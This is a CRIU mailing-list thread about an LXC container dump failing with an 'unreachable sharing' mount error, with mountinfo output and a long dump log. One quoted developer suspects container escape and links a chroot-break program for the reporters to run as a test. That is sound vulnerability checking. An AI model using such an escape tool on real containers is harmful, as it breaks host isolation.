[CRIU] LXC DUMP ERROR

Serge Hallyn serge.hallyn at ubuntu.com
Fri Oct 3 08:00:49 PDT 2014


Quoting Andrew Vagin (avagin at parallels.com):
> On Sat, Sep 13, 2014 at 01:01:10AM +0530, beproject criu wrote:
> > I am trying to dump LXC container using following command
> > 
> > /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices
> > --tc
> > p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o
> > dump
> > .log -t 79
> > 
> > but i get the following error :
> > 
> > Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable
> > sharing
> > 
> > I have attached the dump.log file with the mail containing full log.
> > 
> > Content of mountpoint are:
> >
> > /sdcard # lxc-attach -n L cat /proc/self/mountinfo
> > 16 16 0:2 / / rw - rootfs rootfs rw,size=373304k,nr_inodes=93326
> > 17 16 0:4 / /proc rw,relatime - proc proc rw
> > 18 16 0:11 / /sys rw,relatime - sysfs sysfs rw
> > 19 18 0:12 / /sys/fs/cgroup rw,relatime - cgroup none
> > rw,cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event,clone_children
> > 20 18 0:6 / /sys/kernel/debug rw,relatime - debugfs none rw
> > 21 16 0:10 / /dev/pts rw,relatime - devpts devpts rw,mode=600,ptmxmode=000
> > 22 16 179:0 / /sdcard rw,relatime - ext3 /dev/mmcblk0 rw,data=ordered

Interesting.  So this looks like a real chromebook converted to ubuntu
or something?  Let's talk more about this particular machine on
lxc-devel as well.  This could be an interesting case.

We used to get extra mounts like this on fedora hosts.  I thought we had
finally licked that problem, but I'm not sure.  mwarfield would know
for certain.

> > 24 16 0:2 /usr/local/lib/lxc/rootfs /usr/local/lib/lxc/rootfs rw - rootfs
> > rootfs rw,size=373304k,nr_inodes=93326
> > 25 24 0:14 / /usr/local/lib/lxc/rootfs rw,relatime - tmpfs none rw,size=
> > 12k,mode=755
> > 35 25 179:0 /L/rootfs /usr/local/lib/lxc/rootfs/root rw,relatime shared:1 -
> > ext3 /dev/mmcblk0 rw,data=ordered
> > 36 35 0:13 / /usr/local/lib/lxc/rootfs/root/proc rw,relatime shared:2 - proc
> > none rw
> > 37 35 0:15 / /usr/local/lib/lxc/rootfs/root/sys rw,relatime shared:3 - sysfs
> > none rw
> > 26 35 0:16 / /usr/local/lib/lxc/rootfs/root/dev rw,nosuid,relatime shared:6 -
> > tmpfs tmpfs rw,mode=755
> > 27 26 0:10 / /usr/local/lib/lxc/rootfs/root/dev/pts rw,relatime shared:7 -
> > devpts devpts rw,mode=600,ptmxmode=000
> > 28 37 0:6 / /usr/local/lib/lxc/rootfs/root/sys/kernel/debug rw,relatime
> > shared:4 - debugfs debugfs rw
> > 29 37 0:17 / /usr/local/lib/lxc/rootfs/root/sys/fs/cgroup rw,relatime shared:5
> > - tmpfs none rw,mode=750,gid=1000
> > 30 35 0:18 / /usr/local/lib/lxc/rootfs/root/mnt/asec rw,relatime shared:8 -
> > tmpfs tmpfs rw,mode=755,gid=1000
> > 31 35 0:19 / /usr/local/lib/lxc/rootfs/root/mnt/obb rw,relatime shared:9 -
> > tmpfs tmpfs rw,mode=755,gid=1000
> > 32 35 31:0 / /usr/local/lib/lxc/rootfs/root/system ro,relatime shared:10 - ext4
> > /dev/block/mtdblock0 ro,data=ordered
> > 33 35 31:1 / /usr/local/lib/lxc/rootfs/root/data rw,nosuid,nodev,noatime
> > shared:11 - ext4 /dev/block/mtdblock1 rw,data=ordered
> > 34 35 31:2 / /usr/local/lib/lxc/rootfs/root/cache rw,nosuid,nodev,noatime
> > shared:12 - yaffs2 /dev/block/mtdblock2 rw
> 
> Sorry for late response.
> 
> riya khanna showed me this problem a few mounth ago. Look at the
> previous output. Do you expect to see so many mounts in a container? I
> think you are not. Actually a half of them doesn't belong to CT. They
> were inhereted from the host mount namespace. We are talking about this
> problem now with Serge in lxc-devel. I think this configuration is
> wrong, but I am not sure about this.
> 
> I have a suspicion, that we can escape from such containers.
> beproject and riya, could you execute the attached program in a
> container. This program will try to escape from it to the host mount
> tree.
> http://www.bpfh.net/simes/computing/chroot-break.html
> 
> If this program executes shell and gives you access to the host file
> system, my suspicion is true. In this case we will need to fix LXC and
> only then think how to support these containers in CRIU.
> 
> Thanks,
> Andrew.
> 
> 
> > 
> > Thanks.
> > 
> > encl(1).
> 
> > /sdcard # criu dump --root /usr/local/lib/lxc/rootfs/root --evasive-devices --tc
> > p-established --file-locks -n net -n mnt -n ipc -n pid -vvvvvvvv -D data -o dump
> > .log -t 79
> > 
> > /sdcard # cat data/dump.log 
> > (00.014845) ========================================
> > (00.023441) Dumping processes (pid: 79)
> > (00.023787) ========================================
> > (00.028273) Found anon-shmem device at 1
> > (00.030025) Reset 1554's dirty tracking
> > (00.031317)  ... done
> > (00.032221) Dirty tracking support is OFF
> > (00.032820) irmap: Searching irmap cache in work dir
> > (00.033102) irmap: Searching irmap cache in parent
> > (00.033290) irmap: No irmap cache
> > (00.033448) Writing image inventory (version 1)
> > (00.036496) Collected 1.pid namespace
> > (00.036853) Collected 2.net namespace
> > (00.037119) Collected 3.ipc namespace
> > (00.037392) Collected 4.uts namespace
> > (00.038549) Collected 5.mnt namespace
> > (00.038813) cg: Dumping cgroups for 1554
> > (00.040824) cg:  `- New css ID 1
> > (00.041042) cg:     `- [cpuset,debug,cpu,cpuacct,memory,devices,freezer,blkio,perf_event] -> [/]
> > (00.041228) cg: Set 1 is criu one
> > (00.045319) Seized task 79, state 1
> > (00.050020) Seized task 82, state 0
> > (00.053684) Collected 82 in 1 state
> > (00.054093) Seized task 329, state 0
> > (00.055834) 	Seizing 329's 351 thread
> > (00.057406) 	Seizing 329's 352 thread
> > (00.059006) 	Seizing 329's 353 thread
> > (00.059948) 	Seizing 329's 358 thread
> > (00.063195) Collected 329 in 1 state
> > (00.063433) Seized task 330, state 0
> > (00.065101) Collected 330 in 1 state
> > (00.065292) Seized task 331, state 0
> > (00.067225) Collected 331 in 1 state
> > (00.070061) Seized task 332, state 0
> > (00.071957) Collected 332 in 1 state
> > (00.072141) Seized task 333, state 0
> > (00.073258) 	Seizing 333's 363 thread
> > (00.074120) 	Seizing 333's 421 thread
> > (00.076397) Collected 333 in 1 state
> > (00.076590) Seized task 335, state 0
> > (00.078609) Collected 335 in 1 state
> > (00.078851) Seized task 338, state 0
> > (00.079918) 	Seizing 338's 690 thread
> > (00.080689) 	Seizing 338's 691 thread
> > (00.081428) 	Seizing 338's 692 thread
> > (00.082184) 	Seizing 338's 693 thread
> > (00.082955) 	Seizing 338's 694 thread
> > (00.083703) 	Seizing 338's 695 thread
> > (00.084419) 	Seizing 338's 696 thread
> > (00.089769) Collected 338 in 1 state
> > (00.090027) Seized task 339, state 0
> > (00.091760) Collected 339 in 1 state
> > (00.091943) Seized task 341, state 0
> > (00.093031) 	Seizing 341's 407 thread
> > (00.093837) 	Seizing 341's 408 thread
> > (00.094803) 	Seizing 341's 409 thread
> > (00.096147) 	Seizing 341's 423 thread
> > (00.097164) 	Seizing 341's 424 thread
> > (00.098942) 	Seizing 341's 425 thread
> > (00.100421) 	Seizing 341's 426 thread
> > (00.101326) 	Seizing 341's 441 thread
> > (00.103974) 	Seizing 341's 797 thread
> > (00.105055) 	Seizing 341's 1059 thread
> > (00.115344) Collected 341 in 1 state
> > (00.115653) Seized task 342, state 0
> > (00.116861) 	Seizing 342's 362 thread
> > (00.120989) Collected 342 in 1 state
> > (00.121289) Seized task 343, state 0
> > (00.122518) 	Seizing 343's 436 thread
> > (00.124800) Collected 343 in 1 state
> > (00.125026) Seized task 345, state 0
> > (00.126358) 	Seizing 345's 447 thread
> > (00.127340) 	Seizing 345's 448 thread
> > (00.128315) 	Seizing 345's 449 thread
> > (00.129123) 	Seizing 345's 450 thread
> > (00.129928) 	Seizing 345's 452 thread
> > (00.130679) 	Seizing 345's 456 thread
> > (00.131403) 	Seizing 345's 770 thread
> > (00.132132) 	Seizing 345's 824 thread
> > (00.136261) Collected 345 in 1 state
> > (00.138210) Seized task 346, state 0
> > (00.140644) Collected 346 in 1 state
> > (00.140955) Seized task 347, state 0
> > (00.142956) Collected 347 in 1 state
> > (00.143163) Seized task 348, state 0
> > (00.144294) 	Seizing 348's 1484 thread
> > (00.145197) 	Seizing 348's 1485 thread
> > (00.146084) 	Seizing 348's 1486 thread
> > (00.146839) 	Seizing 348's 1487 thread
> > (00.148973) 	Seizing 348's 1490 thread
> > (00.155496) Seized task 705, state 0
> > (00.158285) 	Seizing 705's 708 thread
> > (00.159374) 	Seizing 705's 710 thread
> > (00.160252) 	Seizing 705's 713 thread
> > (00.161081) 	Seizing 705's 714 thread
> > (00.161926) 	Seizing 705's 715 thread
> > (00.162750) 	Seizing 705's 716 thread
> > (00.163571) 	Seizing 705's 717 thread
> > (00.164350) 	Seizing 705's 718 thread
> > (00.165245) 	Seizing 705's 719 thread
> > (00.166102) 	Seizing 705's 720 thread
> > (00.166938) 	Seizing 705's 721 thread
> > (00.167907) 	Seizing 705's 722 thread
> > (00.168835) 	Seizing 705's 723 thread
> > (00.169696) 	Seizing 705's 725 thread
> > (00.171710) 	Seizing 705's 726 thread
> > (00.173084) 	Seizing 705's 727 thread
> > (00.173964) 	Seizing 705's 728 thread
> > (00.174811) 	Seizing 705's 729 thread
> > (00.175714) 	Seizing 705's 730 thread
> > (00.176560) 	Seizing 705's 732 thread
> > (00.177674) 	Seizing 705's 738 thread
> > (00.179059) 	Seizing 705's 739 thread
> > (00.180419) 	Seizing 705's 744 thread
> > (00.182092) 	Seizing 705's 745 thread
> > (00.183722) 	Seizing 705's 752 thread
> > (00.184986) 	Seizing 705's 753 thread
> > (00.185990) 	Seizing 705's 757 thread
> > (00.186829) 	Seizing 705's 758 thread
> > (00.189810) 	Seizing 705's 759 thread
> > (00.190928) 	Seizing 705's 760 thread
> > (00.191770) 	Seizing 705's 761 thread
> > (00.192579) 	Seizing 705's 762 thread
> > (00.193792) 	Seizing 705's 763 thread
> > (00.195795) 	Seizing 705's 764 thread
> > (00.196868) 	Seizing 705's 765 thread
> > (00.198247) 	Seizing 705's 766 thread
> > (00.199260) 	Seizing 705's 767 thread
> > (00.200144) 	Seizing 705's 768 thread
> > (00.200978) 	Seizing 705's 769 thread
> > (00.201842) 	Seizing 705's 771 thread
> > (00.202867) 	Seizing 705's 772 thread
> > (00.203943) 	Seizing 705's 774 thread
> > (00.206264) 	Seizing 705's 775 thread
> > (00.207879) 	Seizing 705's 777 thread
> > (00.209263) 	Seizing 705's 778 thread
> > (00.210354) 	Seizing 705's 779 thread
> > (00.211992) 	Seizing 705's 795 thread
> > (00.213272) 	Seizing 705's 796 thread
> > (00.214253) 	Seizing 705's 798 thread
> > (00.215155) 	Seizing 705's 800 thread
> > (00.215976) 	Seizing 705's 807 thread
> > (00.216807) 	Seizing 705's 816 thread
> > (00.217901) 	Seizing 705's 866 thread
> > (00.218890) 	Seizing 705's 887 thread
> > (00.220023) 	Seizing 705's 893 thread
> > (00.221339) 	Seizing 705's 895 thread
> > (00.226095) 	Seizing 705's 896 thread
> > (00.227674) 	Seizing 705's 923 thread
> > (00.228737) 	Seizing 705's 924 thread
> > (00.229608) 	Seizing 705's 962 thread
> > (00.230441) 	Seizing 705's 1039 thread
> > (00.231235) 	Seizing 705's 1042 thread
> > (00.232045) 	Seizing 705's 1189 thread
> > (00.232878) 	Seizing 705's 1327 thread
> > (00.233850) 	Seizing 705's 1328 thread
> > (00.261262) Collected 705 in 1 state
> > (00.261624) Seized task 780, state 0
> > (00.263775) 	Seizing 780's 786 thread
> > (00.264905) 	Seizing 780's 787 thread
> > (00.266324) 	Seizing 780's 788 thread
> > (00.268092) 	Seizing 780's 789 thread
> > (00.269140) 	Seizing 780's 790 thread
> > (00.269967) 	Seizing 780's 791 thread
> > (00.270750) 	Seizing 780's 792 thread
> > (00.271507) 	Seizing 780's 793 thread
> > (00.272269) 	Seizing 780's 794 thread
> > (00.273039) 	Seizing 780's 814 thread
> > (00.275112) 	Seizing 780's 815 thread
> > (00.275988) 	Seizing 780's 867 thread
> > (00.276763) 	Seizing 780's 996 thread
> > (00.279454) 	Seizing 780's 997 thread
> > (00.280625) 	Seizing 780's 1060 thread
> > (00.281430) 	Seizing 780's 1061 thread
> > (00.282223) 	Seizing 780's 1068 thread
> > (00.283136) 	Seizing 780's 1185 thread
> > (00.292004) Collected 780 in 1 state
> > (00.292275) Seized task 848, state 0
> > (00.293640) 	Seizing 848's 850 thread
> > (00.294501) 	Seizing 848's 851 thread
> > (00.295360) 	Seizing 848's 852 thread
> > (00.296195) 	Seizing 848's 853 thread
> > (00.297006) 	Seizing 848's 856 thread
> > (00.298133) 	Seizing 848's 857 thread
> > (00.299113) 	Seizing 848's 860 thread
> > (00.299953) 	Seizing 848's 861 thread
> > (00.300783) 	Seizing 848's 862 thread
> > (00.301580) 	Seizing 848's 1004 thread
> > (00.309911) Collected 848 in 1 state
> > (00.310195) Seized task 902, state 0
> > (00.311420) 	Seizing 902's 907 thread
> > (00.312211) 	Seizing 902's 908 thread
> > (00.312987) 	Seizing 902's 909 thread
> > (00.313742) 	Seizing 902's 912 thread
> > (00.314475) 	Seizing 902's 913 thread
> > (00.315187) 	Seizing 902's 914 thread
> > (00.315912) 	Seizing 902's 916 thread
> > (00.316652) 	Seizing 902's 919 thread
> > (00.319161) 	Seizing 902's 920 thread
> > (00.324459) Collected 902 in 1 state
> > (00.324680) Seized task 925, state 0
> > (00.327589) 	Seizing 925's 929 thread
> > (00.328620) 	Seizing 925's 932 thread
> > (00.329450) 	Seizing 925's 933 thread
> > (00.330220) 	Seizing 925's 934 thread
> > (00.331012) 	Seizing 925's 935 thread
> > (00.331771) 	Seizing 925's 936 thread
> > (00.332529) 	Seizing 925's 937 thread
> > (00.333267) 	Seizing 925's 938 thread
> > (00.334058) 	Seizing 925's 939 thread
> > (00.334814) 	Seizing 925's 995 thread
> > (00.335654) 	Seizing 925's 1000 thread
> > (00.336462) 	Seizing 925's 1003 thread
> > (00.337201) 	Seizing 925's 1005 thread
> > (00.338763) 	Seizing 925's 1006 thread
> > (00.339621) 	Seizing 925's 1007 thread
> > (00.340459) 	Seizing 925's 1008 thread
> > (00.341211) 	Seizing 925's 1016 thread
> > (00.342007) 	Seizing 925's 1018 thread
> > (00.342869) 	Seizing 925's 1041 thread
> > (00.345217) 	Seizing 925's 1321 thread
> > (00.346776) 	Seizing 925's 1322 thread
> > (00.348640) 	Seizing 925's 1323 thread
> > (00.350908) 	Seizing 925's 1408 thread
> > (00.352226) 	Seizing 925's 1409 thread
> > (00.353177) 	Seizing 925's 1410 thread
> > (00.366936) Collected 925 in 1 state
> > (00.367214) Seized task 940, state 0
> > (00.368686) 	Seizing 940's 943 thread
> > (00.369532) 	Seizing 940's 944 thread
> > (00.370303) 	Seizing 940's 947 thread
> > (00.371030) 	Seizing 940's 949 thread
> > (00.371807) 	Seizing 940's 950 thread
> > (00.372551) 	Seizing 940's 952 thread
> > (00.373292) 	Seizing 940's 953 thread
> > (00.374019) 	Seizing 940's 955 thread
> > (00.374760) 	Seizing 940's 956 thread
> > (00.375522) 	Seizing 940's 994 thread
> > (00.376249) 	Seizing 940's 1001 thread
> > (00.383407) Collected 940 in 1 state
> > (00.383676) Seized task 964, state 0
> > (00.385045) 	Seizing 964's 968 thread
> > (00.385940) 	Seizing 964's 969 thread
> > (00.386795) 	Seizing 964's 972 thread
> > (00.388369) 	Seizing 964's 973 thread
> > (00.389825) 	Seizing 964's 974 thread
> > (00.391558) 	Seizing 964's 975 thread
> > (00.392881) 	Seizing 964's 976 thread
> > (00.393876) 	Seizing 964's 977 thread
> > (00.394720) 	Seizing 964's 978 thread
> > (00.395534) 	Seizing 964's 1010 thread
> > (00.396386) 	Seizing 964's 1013 thread
> > (00.397206) 	Seizing 964's 1014 thread
> > (00.399949) 	Seizing 964's 1022 thread
> > (00.407217) Collected 964 in 1 state
> > (00.407643) Seized task 1023, state 0
> > (00.409157) 	Seizing 1023's 1026 thread
> > (00.410112) 	Seizing 1023's 1027 thread
> > (00.411008) 	Seizing 1023's 1030 thread
> > (00.411901) 	Seizing 1023's 1031 thread
> > (00.412763) 	Seizing 1023's 1033 thread
> > (00.413801) 	Seizing 1023's 1034 thread
> > (00.414702) 	Seizing 1023's 1035 thread
> > (00.416860) 	Seizing 1023's 1036 thread
> > (00.454043) 	Seizing 1023's 1037 thread
> > (00.474336) 	Seizing 1023's 1048 thread
> > (00.476450) 	Seizing 1023's 1049 thread
> > (00.478820) 	Seizing 1023's 1242 thread
> > (00.479900) 	Seizing 1023's 1243 thread
> > (00.480807) 	Seizing 1023's 1262 thread
> > (00.481698) 	Seizing 1023's 1371 thread
> > (00.482627) 	Seizing 1023's 1389 thread
> > (00.483513) 	Seizing 1023's 1390 thread
> > (00.484401) 	Seizing 1023's 1391 thread
> > (00.485261) 	Seizing 1023's 1392 thread
> > (00.486277) 	Seizing 1023's 1394 thread
> > (00.487132) 	Seizing 1023's 1407 thread
> > (00.488250) 	Seizing 1023's 1421 thread
> > (00.489113) 	Seizing 1023's 1546 thread
> > (00.501041) Collected 1023 in 1 state
> > (00.501329) Seized task 1062, state 0
> > (00.502799) 	Seizing 1062's 1069 thread
> > (00.503723) 	Seizing 1062's 1070 thread
> > (00.504609) 	Seizing 1062's 1071 thread
> > (00.505540) 	Seizing 1062's 1072 thread
> > (00.508091) 	Seizing 1062's 1073 thread
> > (00.509294) 	Seizing 1062's 1074 thread
> > (00.510214) 	Seizing 1062's 1075 thread
> > (00.511048) 	Seizing 1062's 1076 thread
> > (00.511905) 	Seizing 1062's 1077 thread
> > (00.513293) 	Seizing 1062's 1097 thread
> > (00.520320) Collected 1062 in 1 state
> > (00.520591) Seized task 1078, state 0
> > (00.522104) 	Seizing 1078's 1081 thread
> > (00.523085) 	Seizing 1078's 1083 thread
> > (00.525468) 	Seizing 1078's 1085 thread
> > (00.526404) 	Seizing 1078's 1086 thread
> > (00.527841) 	Seizing 1078's 1087 thread
> > (00.529963) 	Seizing 1078's 1089 thread
> > (00.530947) 	Seizing 1078's 1090 thread
> > (00.531816) 	Seizing 1078's 1091 thread
> > (00.532634) 	Seizing 1078's 1092 thread
> > (00.533422) 	Seizing 1078's 1123 thread
> > (00.534324) 	Seizing 1078's 1124 thread
> > (00.535273) 	Seizing 1078's 1125 thread
> > (00.536139) 	Seizing 1078's 1126 thread
> > (00.536977) 	Seizing 1078's 1128 thread
> > (00.538259) 	Seizing 1078's 1141 thread
> > (00.546217) Collected 1078 in 1 state
> > (00.546474) Seized task 1107, state 0
> > (00.548103) 	Seizing 1107's 1111 thread
> > (00.549111) 	Seizing 1107's 1114 thread
> > (00.550071) 	Seizing 1107's 1116 thread
> > (00.550961) 	Seizing 1107's 1117 thread
> > (00.551835) 	Seizing 1107's 1118 thread
> > (00.552697) 	Seizing 1107's 1119 thread
> > (00.553609) 	Seizing 1107's 1120 thread
> > (00.555035) 	Seizing 1107's 1121 thread
> > (00.556644) 	Seizing 1107's 1122 thread
> > (00.559954) 	Seizing 1107's 1178 thread
> > (00.565329) Collected 1107 in 1 state
> > (00.565556) Seized task 1127, state 0
> > (00.566904) 	Seizing 1127's 1131 thread
> > (00.568397) 	Seizing 1127's 1135 thread
> > (00.570665) 	Seizing 1127's 1136 thread
> > (00.571745) 	Seizing 1127's 1137 thread
> > (00.572667) 	Seizing 1127's 1138 thread
> > (00.573660) 	Seizing 1127's 1139 thread
> > (00.574583) 	Seizing 1127's 1140 thread
> > (00.576785) 	Seizing 1127's 1142 thread
> > (00.577987) 	Seizing 1127's 1143 thread
> > (00.578821) 	Seizing 1127's 1165 thread
> > (00.579742) 	Seizing 1127's 1166 thread
> > (00.585237) Collected 1127 in 1 state
> > (00.585477) Seized task 1150, state 0
> > (00.586842) 	Seizing 1150's 1156 thread
> > (00.588230) 	Seizing 1150's 1157 thread
> > (00.589213) 	Seizing 1150's 1158 thread
> > (00.590110) 	Seizing 1150's 1159 thread
> > (00.590959) 	Seizing 1150's 1160 thread
> > (00.591829) 	Seizing 1150's 1161 thread
> > (00.594166) 	Seizing 1150's 1162 thread
> > (00.595309) 	Seizing 1150's 1163 thread
> > (00.596379) 	Seizing 1150's 1164 thread
> > (00.598100) 	Seizing 1150's 1171 thread
> > (00.599711) 	Seizing 1150's 1273 thread
> > (00.606396) Collected 1150 in 1 state
> > (00.606623) Seized task 1209, state 0
> > (00.608281) 	Seizing 1209's 1215 thread
> > (00.610803) 	Seizing 1209's 1216 thread
> > (00.613864) 	Seizing 1209's 1217 thread
> > (00.615610) 	Seizing 1209's 1218 thread
> > (00.616709) 	Seizing 1209's 1219 thread
> > (00.617803) 	Seizing 1209's 1220 thread
> > (00.618814) 	Seizing 1209's 1221 thread
> > (00.619734) 	Seizing 1209's 1222 thread
> > (00.620545) 	Seizing 1209's 1223 thread
> > (00.621299) 	Seizing 1209's 1240 thread
> > (00.628277) Collected 1209 in 1 state
> > (00.628544) Seized task 1224, state 0
> > (00.630025) 	Seizing 1224's 1230 thread
> > (00.630939) 	Seizing 1224's 1231 thread
> > (00.631926) 	Seizing 1224's 1232 thread
> > (00.632966) 	Seizing 1224's 1233 thread
> > (00.633966) 	Seizing 1224's 1234 thread
> > (00.634855) 	Seizing 1224's 1235 thread
> > (00.635815) 	Seizing 1224's 1236 thread
> > (00.636747) 	Seizing 1224's 1237 thread
> > (00.638190) 	Seizing 1224's 1238 thread
> > (00.639622) 	Seizing 1224's 1252 thread
> > (00.641332) 	Seizing 1224's 1260 thread
> > (00.642819) 	Seizing 1224's 1261 thread
> > (00.645068) 	Seizing 1224's 1356 thread
> > (00.651902) Collected 1224 in 1 state
> > (00.652870) Seized task 1244, state 0
> > (00.655092) 	Seizing 1244's 1247 thread
> > (00.656076) 	Seizing 1244's 1250 thread
> > (00.657245) 	Seizing 1244's 1253 thread
> > (00.658249) 	Seizing 1244's 1254 thread
> > (00.659122) 	Seizing 1244's 1255 thread
> > (00.661145) 	Seizing 1244's 1256 thread
> > (00.662425) 	Seizing 1244's 1257 thread
> > (00.663340) 	Seizing 1244's 1258 thread
> > (00.664146) 	Seizing 1244's 1259 thread
> > (00.664888) 	Seizing 1244's 1411 thread
> > (00.670458) Collected 1244 in 1 state
> > (00.670719) Seized task 1275, state 0
> > (00.672140) 	Seizing 1275's 1277 thread
> > (00.673168) 	Seizing 1275's 1282 thread
> > (00.674152) 	Seizing 1275's 1283 thread
> > (00.675086) 	Seizing 1275's 1284 thread
> > (00.675989) 	Seizing 1275's 1285 thread
> > (00.676847) 	Seizing 1275's 1286 thread
> > (00.679520) 	Seizing 1275's 1287 thread
> > (00.680840) 	Seizing 1275's 1289 thread
> > (00.681900) 	Seizing 1275's 1290 thread
> > (00.687838) Collected 1275 in 1 state
> > (00.688127) Seized task 1294, state 0
> > (00.689617) 	Seizing 1294's 1300 thread
> > (00.690586) 	Seizing 1294's 1301 thread
> > (00.691510) 	Seizing 1294's 1302 thread
> > (00.692454) 	Seizing 1294's 1303 thread
> > (00.693541) 	Seizing 1294's 1304 thread
> > (00.697757) 	Seizing 1294's 1305 thread
> > (00.698996) 	Seizing 1294's 1306 thread
> > (00.699966) 	Seizing 1294's 1307 thread
> > (00.700874) 	Seizing 1294's 1308 thread
> > (00.701815) 	Seizing 1294's 1315 thread
> > (00.702883) 	Seizing 1294's 1316 thread
> > (00.703881) 	Seizing 1294's 1317 thread
> > (00.705043) 	Seizing 1294's 1331 thread
> > (00.706191) 	Seizing 1294's 1332 thread
> > (00.715776) Collected 1294 in 1 state
> > (00.716072) Seized task 1339, state 0
> > (00.717758) 	Seizing 1339's 1342 thread
> > (00.718813) 	Seizing 1339's 1345 thread
> > (00.719777) 	Seizing 1339's 1347 thread
> > (00.720890) 	Seizing 1339's 1348 thread
> > (00.722226) 	Seizing 1339's 1349 thread
> > (00.723625) 	Seizing 1339's 1350 thread
> > (00.725207) 	Seizing 1339's 1351 thread
> > (00.727551) 	Seizing 1339's 1352 thread
> > (00.730672) 	Seizing 1339's 1353 thread
> > (00.731666) 	Seizing 1339's 1366 thread
> > (00.732687) 	Seizing 1339's 1367 thread
> > (00.733649) 	Seizing 1339's 1440 thread
> > (00.734552) 	Seizing 1339's 1441 thread
> > (00.735476) 	Seizing 1339's 1449 thread
> > (00.736372) 	Seizing 1339's 1450 thread
> > (00.743123) Collected 1339 in 1 state
> > (00.743370) Seized task 1374, state 0
> > (00.744759) 	Seizing 1374's 1375 thread
> > (00.747462) 	Seizing 1374's 1379 thread
> > (00.748555) 	Seizing 1374's 1380 thread
> > (00.749514) 	Seizing 1374's 1381 thread
> > (00.750494) 	Seizing 1374's 1382 thread
> > (00.752081) 	Seizing 1374's 1383 thread
> > (00.753594) 	Seizing 1374's 1387 thread
> > (00.755105) 	Seizing 1374's 1395 thread
> > (00.756466) 	Seizing 1374's 1396 thread
> > (00.758622) 	Seizing 1374's 1403 thread
> > (00.760332) 	Seizing 1374's 1405 thread
> > (00.769682) Collected 1374 in 1 state
> > (00.769986) Seized task 1412, state 0
> > (00.771525) 	Seizing 1412's 1418 thread
> > (00.772515) 	Seizing 1412's 1419 thread
> > (00.773496) 	Seizing 1412's 1420 thread
> > (00.774416) 	Seizing 1412's 1422 thread
> > (00.775317) 	Seizing 1412's 1423 thread
> > (00.776213) 	Seizing 1412's 1424 thread
> > (00.777129) 	Seizing 1412's 1425 thread
> > (00.778355) 	Seizing 1412's 1426 thread
> > (00.781983) 	Seizing 1412's 1427 thread
> > (00.782834) 	Seizing 1412's 1431 thread
> > (00.783795) 	Seizing 1412's 1434 thread
> > (00.784714) 	Seizing 1412's 1462 thread
> > (00.785669) 	Seizing 1412's 1473 thread
> > (00.792292) Collected 1412 in 1 state
> > (00.792550) Seized task 1455, state 0
> > (00.794001) 	Seizing 1455's 1461 thread
> > (00.794967) 	Seizing 1455's 1463 thread
> > (00.795889) 	Seizing 1455's 1464 thread
> > (00.796789) 	Seizing 1455's 1465 thread
> > (00.799392) 	Seizing 1455's 1467 thread
> > (00.800388) 	Seizing 1455's 1468 thread
> > (00.801301) 	Seizing 1455's 1469 thread
> > (00.802253) 	Seizing 1455's 1470 thread
> > (00.803068) 	Seizing 1455's 1472 thread
> > (00.803849) 	Seizing 1455's 1479 thread
> > (00.810681) Collected 1455 in 1 state
> > (00.810977) Seized task 1483, state 0
> > (00.812547) 	Seizing 1483's 1488 thread
> > (00.813536) 	Seizing 1483's 1489 thread
> > (00.815893) 	Seizing 1483's 1491 thread
> > (00.816926) 	Seizing 1483's 1492 thread
> > (00.818487) 	Seizing 1483's 1493 thread
> > (00.820878) 	Seizing 1483's 1494 thread
> > (00.821995) 	Seizing 1483's 1495 thread
> > (00.822973) 	Seizing 1483's 1496 thread
> > (00.823941) 	Seizing 1483's 1497 thread
> > (00.824880) 	Seizing 1483's 1500 thread
> > (00.825800) 	Seizing 1483's 1501 thread
> > (00.826726) 	Seizing 1483's 1502 thread
> > (00.827674) 	Seizing 1483's 1503 thread
> > (00.829272) 	Seizing 1483's 1504 thread
> > (00.830357) 	Seizing 1483's 1505 thread
> > (00.832659) 	Seizing 1483's 1508 thread
> > (00.833815) 	Seizing 1483's 1510 thread
> > (00.834771) 	Seizing 1483's 1511 thread
> > (00.835736) 	Seizing 1483's 1514 thread
> > (00.836662) 	Seizing 1483's 1515 thread
> > (00.837598) 	Seizing 1483's 1516 thread
> > (00.838726) 	Seizing 1483's 1518 thread
> > (00.849591) Collected 1483 in 1 state
> > (00.853377) Collected 348 in 1 state
> > (00.853609) Seized task 349, state 0
> > (00.855348) Collected 349 in 1 state
> > (00.855530) Seized task 350, state 0
> > (00.856619) 	Seizing 350's 355 thread
> > (00.859070) Collected 350 in 1 state
> > (00.860221) Collected 79 in 1 state
> > (00.860730) Will take pid namespace in the image
> > (00.860909) Collected 6.pid namespace
> > (00.861144) Will take net namespace in the image
> > (00.861287) Collected 7.net namespace
> > (00.861542) Will take ipc namespace in the image
> > (00.861693) Collected 8.ipc namespace
> > (00.862158) Will take uts namespace in the image
> > (00.862381) Collected 9.uts namespace
> > (00.862750) Will take mnt namespace in the image
> > (00.863166) Collected 10.mnt namespace
> > (00.878406) Collected 11.mnt namespace
> > (00.907124) Lock network
> > (00.907385) Running network-lock scripts
> > (00.911267) lockinfo: 1:POSIX ADVISORY READ 1150 1f:01:7423 128 128
> > (00.911822) lockinfo: 2:POSIX ADVISORY READ 1150 1f:01:7380 1073741826 1073742335
> > (00.912062) lockinfo: 3:POSIX ADVISORY READ 1150 1f:01:7363 128 128
> > (00.912295) lockinfo: 4:POSIX ADVISORY READ 1150 1f:01:7357 1073741826 1073742335
> > (00.912514) lockinfo: 5:POSIX ADVISORY READ 705 1f:01:14124 128 128
> > (00.912746) lockinfo: 6:POSIX ADVISORY READ 705 1f:01:14122 1073741826 1073742335
> > (00.913479) Dump MNT namespace (mountpoints) 11 via 348
> > (00.915345) 	type unsupported source /dev/mmcblk0 b300000 /L/rootfs @ ./ flags 280000 options data=ordered,
> > (00.916931) 	type proc source none d / @ ./proc flags 280000 options 
> > (00.917335) 	type sysfs source none f / @ ./sys flags 280000 options 
> > (00.917681) 	type debugfs source debugfs 6 / @ ./sys/kernel/debug flags 280000 options 
> > (00.918170) 	type tmpfs source none 11 / @ ./sys/fs/cgroup flags 280000 options mode=750,gid=1000,
> > (00.918431) 	type tmpfs source tmpfs 10 / @ ./dev flags 280002 options mode=755,
> > (00.918744) 	type devpts source devpts a / @ ./dev/pts flags 280000 options mode=600,ptmxmode=000,
> > (00.919016) 	type tmpfs source tmpfs 12 / @ ./mnt/asec flags 280000 options mode=755,gid=1000,
